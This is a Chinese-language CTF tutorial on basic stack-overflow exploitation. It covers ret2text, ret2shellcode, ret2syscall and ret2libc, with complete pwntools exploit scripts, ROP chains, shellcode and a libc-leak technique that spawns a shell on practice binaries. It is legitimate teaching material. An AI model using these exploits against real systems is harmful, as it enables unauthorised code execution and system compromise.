一、初级栈溢出系列
从现在开始温习栈溢出,从初级栈溢出到高级栈溢出到花式栈溢出都重温一遍,主要结合题目练习加深巩固。
一般来说,实现栈溢出,都是因为读入的字节数超过了buf允许的大小,导致ret地址被覆盖,我们的最终目标都是实现调用system(“/bin/sh”)函数去getshell,过程花样可以千奇百怪,但是总有规律可以寻找~
1、第一步找危险函数。
输入函数:
gets(&buf) 直接读取一行,忽略’\x00’ ,一看没有字符数的限制,那肯定是200%的溢出~
read(0,&buf,0x40) buf的大小为0x20,说明可以溢出0x20个字节,够ret覆盖了~
scanf(%s,&buf) 这里也一样,没有控制输入的字符数,造成溢出。
vscanf(%s,&buf) 和scanf函数差不多,原理类似
copy函数:
sprintf(buf1, buf2) 将buf2中的字符串拷贝到buf1中,这里一旦buf2大小比buf1大,就可以栈溢出了
strcpy(buf1,buf2) 字符串复制,遇到’\x00’停止 ,原理同上
strcat(buf1,buf2) 字符串拼接,遇到’\x00’停止 ,将buf2中的字符串拼到buf1中的字符串,存在buf1中,栈溢出举例:4+3=7>4(数字表示buf大小)
bcopy( s,d,6 ):从d中复制6字节到s中,这里d和s都是指针,内存复制,bcopy不检查字符串中的空字节NULL,函数没有返回值。
memcpy(dest, src, strlen(src)):原理和bcopy差不多,内存拷贝
讲到%的格式化,顺便脑补下C知识:
格式字符 说明
%a 读入一个浮点值(仅C99有效)
%A 同上
%c 读入一个字符
%d 读入十进制整数
%i 读入十进制,八进制,十六进制整数
%o 读入八进制整数
%x 读入十六进制整数
%X 同上
%c 读入一个字符
%s 读入一个字符串
%f 读入一个浮点数
%F 同上
%e 同上
%E 同上
%g 同上
%G 同上
%p 读入一个指针,一旦是地址
%u 读入一个无符号十进制整数
%n 至此已读入值的等价字符数
%[] 扫描字符集合
%% 读%符号
知道了漏洞函数,接着就是利用栈溢出漏洞去实现getshell了。
2、第二步制定方法
以下就是基础rop技术一览:
1、ret2text
链接:https://pan.baidu.com/s/1Vz5j2Z4rBHOj2AJbfv-wpA
提取码:2gok
原理:题目中有现成的backdoor函数,直接ret到这个位置
做题的一般顺序:先checksec检查下保护机制:
只开了一个堆栈不可执行的保护,去ida分析一波逻辑:
一看是gets函数,栈溢出,然后栈大小是0x64(一般没有错,但是有时会骗人的,还是用cyclic方法去看,2步)
1、cyclic n(生成一串有规律的垃圾字符n个,用于确定报错的地址偏移,4个为一个单位)
2、cyclic -l 报错地址(会返回ret地址的偏移)
确认出票偏移为112(覆盖了ebp的)
再看下后门函数,这里直接看到有,如果函数名被混淆了,一般可以通过shift+F12找system和参数/bin/sh:
这里看到有,然后一步步看调用位置(ctrl+x),找到代码块的位置即可,就是前面找到的secure那里。继续分析,
根本不用管前面的随机数输入匹配,直接绕过,调到system函数执行即可,这就是ROPgadget的巧妙利用,指哪里就去哪里执行代码:
直接上exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| #coding=utf8 from pwn import * context.log_level = 'debug' local = 1 elf = ELF('./ret2text') if local: p = process('./ret2text') libc = elf.libc else: p = remote('116.85.48.105',5005) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s)
back_door = 0x804863A
payload = '' payload += 'a'*112 payload += p32(back_door)
sl(payload)
p.interactive()
|
getshell后是可以ls提取出当前目录的内容的~
总结:先找函数,看看有没有后门函数可以直接调用(可以shift+F12查看字符串查找system和参数/bin/sh),如果有,直接用,没有则换其他思路做,有时是有system函数,但是参数不对,这时就是自己写入参数,然后搞到参数的地址带入进去,见下面的题:
ret2text2:
链接:https://pan.baidu.com/s/1ek9WwrpuuOlLL-zDd3RQXA
提取码:0515
cheksec:
ida分析一波:
简单的栈溢出,栈大小为0x10(不包含ebp)找后门:
参数不对,这时到data数据域去找有用的命令:/bin/sh\x00、/sh\x00、$0一般常用的是这三个command.
找到$0,于是ida右键转成data:
这里把地址搞到:0x601070
那么接着就是用到pop_rdi_ret去填充参数了:这里ROPgadget –binary 文件名 –only “pop|ret(或者其他想要的gadget)”是专用的命令:
接下来直接上exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| #coding=utf8 from pwn import * context.log_level = 'debug' local = 1 elf = ELF('./ret2text2_64') if local: p = process('./ret2text2_64') libc = elf.libc else: p = remote('116.85.48.105',5005) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') #onegadget(libc.6.so) 0x45216 0x4526a 0xf02a4 0xf1147 #shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" #addr = u64(rc(6).ljust(8,'\x00')) #addr = u32(rc(4)) #addr = int(rc(6),16)#string sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s)
def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr): gdb.attach(p,'b *'+hex(addr))
system = elf.symbols["system"] command = 0x601070 pop_rdi_ret = 0x400683 payload = '' payload += 'a'*0x10 payload += 'aaaaaaaa' payload += p64(pop_rdi_ret) payload += p64(command) payload += p64(system) sl(payload)
p.interactive()
|
总结,没有合适参数时要去data域找找有用的东西,如果还是没有,可以构造命令,写入到bss段中,二次调用去getshell:
题目:ret2text3_64
链接:https://pan.baidu.com/s/1afZKZkqAwejy0YtvGo8rww
提取码:z59w
其他的,没变。这下在程序中找不到/bin/sh了也没有$0了,这可如何是好,没有就自己构造呗~
说干就干,直接在bss段中写入我们的command(“/bin/sh”),然后获取bss段的地址即可~
具体操作是借助rop链搭建起来:
找到64位的第一个参数存放位置,rdi寄存器。
接着思路清晰,上exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| from pwn import * context.log_level = 'debug' local = 1 elf = ELF('./ret2text3_64') if local: p = process('./ret2text3_64') libc = elf.libc else: p = remote('116.85.48.105',5005) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s)
def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr): gdb.attach(p,'b *'+hex(addr))
bss_start = elf.bss() pop_rdi_ret = 0x400683 gets = elf.symbols["gets"] system = elf.symbols["system"]
payload = '' payload += 'a'*0x10 payload += 'aaaaaaaa' payload += p64(pop_rdi_ret) payload += p64(bss_start) payload += p64(gets) payload += p64(pop_rdi_ret) payload += p64(bss_start) payload += p64(system) sl(payload) sl("/bin/sh\x00") //作为我们的命令写在bss中
p.interactive()
|
32位的程序也演示一波吧:
ret2text3_32
链接:https://pan.baidu.com/s/1J4sHK-Pfy46utGIrocTihA
提取码:kq4c
后门函数:
然后找不到合适的参数,只能自己构造:
这里能用到的rop链子选pop ebx;ret,主要作用是维持栈平衡,exp差不多:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| from pwn import * context.log_level = 'debug' local = 1 elf = ELF('./ret2text3_32') if local: p = process('./ret2text3_32') libc = elf.libc else: p = remote('116.85.48.105',5005) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s)
def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr): gdb.attach(p,'b *'+hex(addr))
bss_start = elf.bss() pop_ebx_ret = 0x0804843d gets = elf.symbols["gets"] system = elf.symbols["system"]
payload = '' payload += 'a'*112 payload += p32(gets) payload += p32(pop_ebx_ret) payload += p32(bss_start) payload += p32(system) payload += p32(0xdeadbeef) payload += p32(bss_start)
sl(payload) sl("/bin/sh\x00")
p.interactive()
|
32位的参数的位置有所不同,注意看清楚~
2、ret2shellcode
链接:https://pan.baidu.com/s/1nHCoNxT6D9u1kC1qkUmPMA
提取码:xlx0
shellcode是什么?它是一串能够让我们getshell的代码,相当于一个包装好的system(“/bin/sh”)代码,直接执行这段代码,就相当于执行system函数一样,很快,很方便,那么首先我们得有shellcode,然后栈溢出跳到shellcode的位置去执行shellcode即可:
这里可以知道,有个可读可写可执行的区域,猜测是bss段:
所以我们的bss段是有可执行的权限的,那么往bss段写入shellcode是可以执行的~
而且copy函数时把我们的输入copy0x64个字节到buf2(bss段),所以策略很明显,直接输入shellcode,然后ret地址填bss段地址。
这里直接cyclic爆破出栈大小112(包含ebp)
问题来了,shellcode怎么来?
这里有个专门生成shellcode的公式:
1
| shellcode = asm(shellcraft.sh())
|
所以可以直接上exp了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| from pwn import * context.log_level = 'debug' local = 1 elf = ELF('./ret2shellcode') if local: p = process('./ret2shellcode') libc = elf.libc else: p = remote('116.85.48.105',5005) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s)
def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr): gdb.attach(p,'b *'+hex(addr)) bss = 0x804A080 shellcode = asm(shellcraft.sh()) payload = '' payload += shellcode.ljust(112,'a') payload += p32(bss) ru("No system for you this time !!!") sl(payload) p.interactive()
|
这种题基本上是灭绝了,因为堆栈基本是不可执行的,bss段也是,而且也是无脑shellcode直接getshell,所以只一题了解下,后期栈迁移会讲到迁移到本栈的shellcode执行的题目(需要泄露出栈地址才能操作~后面再讲)
总结:会用shellcode生成公式,跳转到shellcode位置执行代码即可。
这里提个醒,有时候自动生成的shellcode太长,需要自己去学着写shellcode,然后汇编转成代码,或者积累别人写的shellcode~以备不时之需。
3、ret2syscall
这里要开始讲系统调用了:
还是拿一道题看看
链接:https://pan.baidu.com/s/1AtqcWfIYebb-6TaH27weqQ
提取码:yuqt
这里可知道是32位的然后只开了堆栈不可执行的保护,其他没开,第二步ida分析:
逻辑很清晰,就只有一个栈溢出漏洞,然后有2个puts函数,一个gets函数,这里提示没有后门函数,没有shellcode可以写,该怎么办呢?这里只介绍syscall,其实可以2次调用先泄露出真实地址再栈溢出(就是ret2libc的内容了,这是埋下伏笔hhhhh)
那么什么是syscall呢?ret2syscall,即控制程序执行系统调用,获取 shell。 系统调用是专门的函数:
execve(“/bin/sh”,null,null),其中,“/bin/sh”是execve()系统调用函数要执行的命令,还有像“ls”等这些命令,这个系统调用可以理解成system(“/bin/sh”),该程序是 32 位,所以我们需要使得
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| >>> context.arch = 'i386' >>> print(shellcraft.execve('/bin/sh')) /* execve(path='/bin/sh', argv=0, envp=0) */ /* push '/bin/sh\x00' */ push 0x1010101 xor dword ptr [esp], 0x169722e push 0x6e69622f mov ebx, esp xor ecx, ecx xor edx, edx /* call execve() */ push SYS_execve /* 0xb */ pop eax int 0x80
|
eax = 0xb ebx = addr(“/bin/sh”) ecx = 0 edx = 0
那么64位的是怎么样的呢:
64位的汇编getshell代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| >>> context.arch = 'amd64' >>> print(shellcraft.execve('/bin/sh')) /* execve(path='/bin/sh', argv=0, envp=0) */ /* push '/bin/sh\x00' */ mov rax, 0x101010101010101 push rax mov rax, 0x101010101010101 ^ 0x68732f6e69622f xor [rsp], rax mov rdi, rsp xor edx, edx /* 0 */ xor esi, esi /* 0 */ /* call execve() */ push SYS_execve /* 0x3b */ pop rax syscall
|
rax = 0x3b rdi = addr(“/bin/sh”) rdx = 0 rsi = 0
以后会用到onegadget其实就是封装好的可以直接调用的系统调用,onegadget是要满足一些栈的条件的,后续再讲~
系统调用认准这两个就问题不大了~
所以我们需要找4个rop链子,pop_eax_ret,pop_ebx_ret,pop_ecx_ret,pop_edx_ret,然后挨个塞入参数构造payload,这里直接用ROPgadget那个万能公式:
成功找到想要的链子(但是有时没有那么好运,正好有想要的,只能间接性地去拿,嗯,间接,你应该想到了)
那就可以构造payload了:
找到int_0x80的系统调用(execve函数)
接着还需要找到/bin/sh的地址才行,string找一波:
那么直接上exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| from pwn import * context.log_level = 'debug' local = 1 elf = ELF('./ret2syscall') if local: p = process('./ret2syscall') libc = elf.libc else: p = remote('116.85.48.105',5005) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s)
def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr): gdb.attach(p,'b *'+hex(addr))
pop_eax_ret = 0x080bb196 pop_ecx_ebx_ret = 0x0806eb91 pop_edx_ret = 0x0806eb6a int_0x80 = 0x08049421 binsh = 0x80BE408
payload = '' payload += 'a'*112 payload += p32(pop_eax_ret) payload += p32(0xb) payload += p32(pop_ecx_ebx_ret) payload += p32(0x0) payload += p32(binsh) payload += p32(pop_edx_ret) payload += p32(0x0) payload += p32(int_0x80) sl(payload)
p.interactive()
|
这里如果没有/bin /sh的话可以自己构造写入到bss段的起始位置,具体就是二重调用了,然后获得bss起始地址作为binsh的地址,接着操作步骤就是一样的。
总结:32位的程序,先找下ROP链看看有没有int_0x80的execve的系统内核中断调用,64位的看看有没有syscall的系统调用,如果都没有,可以放弃该方法,有则直接用。
4、ret2libc
这里直接讲我们的libc库,涉及到动态链接和延迟绑定的问题,还可以涉及到高级栈溢出的操作,但是这里只讲最简单的操作,这里需要先了解下动态链接和延迟绑定是什么东西以及工作机制,讲动态链接,讲到静态链接,静态链接就是函数真实地址在编译时已经实现了got表绑定,一切都准备好了,而动态链接,动态体现在函数真实地址存放于libc库中,只有在运行时才会和库链接起来,进行地址绑定,而且只有执行过一次函数,该函数的真实地址才会被写入到程序文件中,这里面的工作机制如下图:
当函数第一次被调用时,got表里面是没有它的真实地址的,存的是push n的地址,然后经过plt函数的一系列操作,会执行dl_runtime_resolve函数,实现真实地址写入got表。所以只有该函数执行过了一次,它的got表里面才有真实地址,got才有现实意义。如果想详细了解过程,可以参考《程序员的自我修养》一书,动态链接那里。
然后记住一条判断程序时静态链接还是动态链接的公式:ldd 文件名
ret2libc就是针对真实地址进行的操作:
因为libc库中存有各种函数的偏移地址,举例:0x3fea1(system函数的libc偏移)
而有个基地址:0x7fxxxxx0000(64位)、0xf7xxx0000(32位)
这里我们只要知道基地址,就可以去libc库中找偏移地址,因为:
真实地址 = 基地址 + 偏移地址
如果我们泄露了函数的真实地址,就可以根据:
基地址 = 真实地址 - 偏移地址
得到基地址,有了基地址,加上任意函数的libc偏移,就可以知道任意函数的真实地址(我们当然最爱system函数啦)
有了真实地址,ret地址一填,那么即可getshell~
纸上谈兵不如实操一波:
ret2libc
链接:https://pan.baidu.com/s/18TeImNT4acHLcfHkwtlafQ
提取码:nnwy
只有堆栈不可执行的保护,64位的程序,ida分析一波:
只有一个栈溢出gets函数,没有shellcode,没有系统调用,也没有后门函数,无计可施??
现在就是解锁新姿势的时候:泄露出一个真实地址,间接计算出system函数和binsh的地址,实现getshell
看到有puts函数,可以利用,而且执行后有真实地址,就是你了,思路:
1、先利用栈溢出调用puts函数打印出自己的got表真实地址,接收,再跳回pwnme执行一次
2、计算system和binsh的地址
3、第二次输入直接ret到system函数去getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| from pwn import * context.log_level = 'debug' local = 1 elf = ELF('./ret2libc') if local: p = process('./ret2libc') libc = elf.libc else: p = remote('116.85.48.105',5005) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s)
def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr): gdb.attach(p,'b *'+hex(addr))
pwnme_addr = 0x4005DA pop_rdi_ret = 0x400673 puts_plt = elf.symbols["puts"] puts_got = elf.got["puts"] gets = elf.symbols["gets"] puts_libc = libc.symbols["puts"] system_libc = libc.symbols["system"] binsh_libc = libc.search("/bin/sh").next()
payload = '' payload += 'a'*0x20 payload += 'aaaaaaaa' payload += p64(pop_rdi_ret)//调用puts函数打印got真实地址 payload += p64(puts_got) payload += p64(puts_plt) payload += p64(pwnme_addr) //再调用一次 ru("I am sure that you are not cxk")
sl(payload) rc(1) //先接收\x0a,题目自身原因,一般不用~ puts_addr = u64(rc(6).ljust(8,'\x00')) //一波计算 print "puts_addr--->" + hex(puts_addr) offset = puts_addr - puts_libc binsh_addr = offset + binsh_libc system_addr = offset + system_libc
payload = '' //第二次输入直接ret到system函数 payload += 'a'*0x20 payload += 'aaaaaaaa' payload += p64(pop_rdi_ret) payload += p64(binsh_addr) payload += p64(system_addr) ru("I am sure that you are not cxk") sl(payload) p.interactive()
|
为了加深印象,再来一题:pwn9
链接:https://pan.baidu.com/s/1KTsilzXZyhjc9B4gpfOnJQ
提取码:p8k6
没有保护,然后是32位的,决定利用泄露真实地址的方法:
只有一个fgets函数,栈溢出,然后思路是一模一样的,注意32的参数位置即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| from pwn import * context.log_level = 'debug' local = 1 elf = ELF('./pwn9') if local: p = process('./pwn9') libc = elf.libc else: p = remote('116.85.48.105',5005) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s)
def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr): gdb.attach(p,'b *'+hex(addr))
puts_got = elf.got["puts"] puts_plt = elf.symbols["puts"] pwn = 0x80484BB payload = '' payload += 'a'*0x20 payload += 'aaaa' payload += p32(puts_plt) payload += p32(pwn) payload += p32(puts_got) ru(">") sl(payload) ru("OK bye~") puts_addr = u32(rc(5)[1:]) print "puts_addr--->" + hex(puts_addr) libc_addr = puts_addr - libc.symbols["puts"] system = libc_addr + libc.symbols["system"] binsh = libc_addr + libc.search("/bin/sh").next() print "system--->" + hex(system)
payload = '' payload += 'a'*0x20 payload += 'aaaa' payload += p32(system) payload += p32(0xdeadbeef) payload += p32(binsh) sl(payload)
p.interactive()
|
以上就是针对于libc库泄露真实地址去getshell的题目总结~然而栈溢出的漏洞是有防护的例如(canary),而且保护机制基本是全开的,那么有保护机制又该怎么办呢?预知后事如何——请看栈溢出入门到放弃4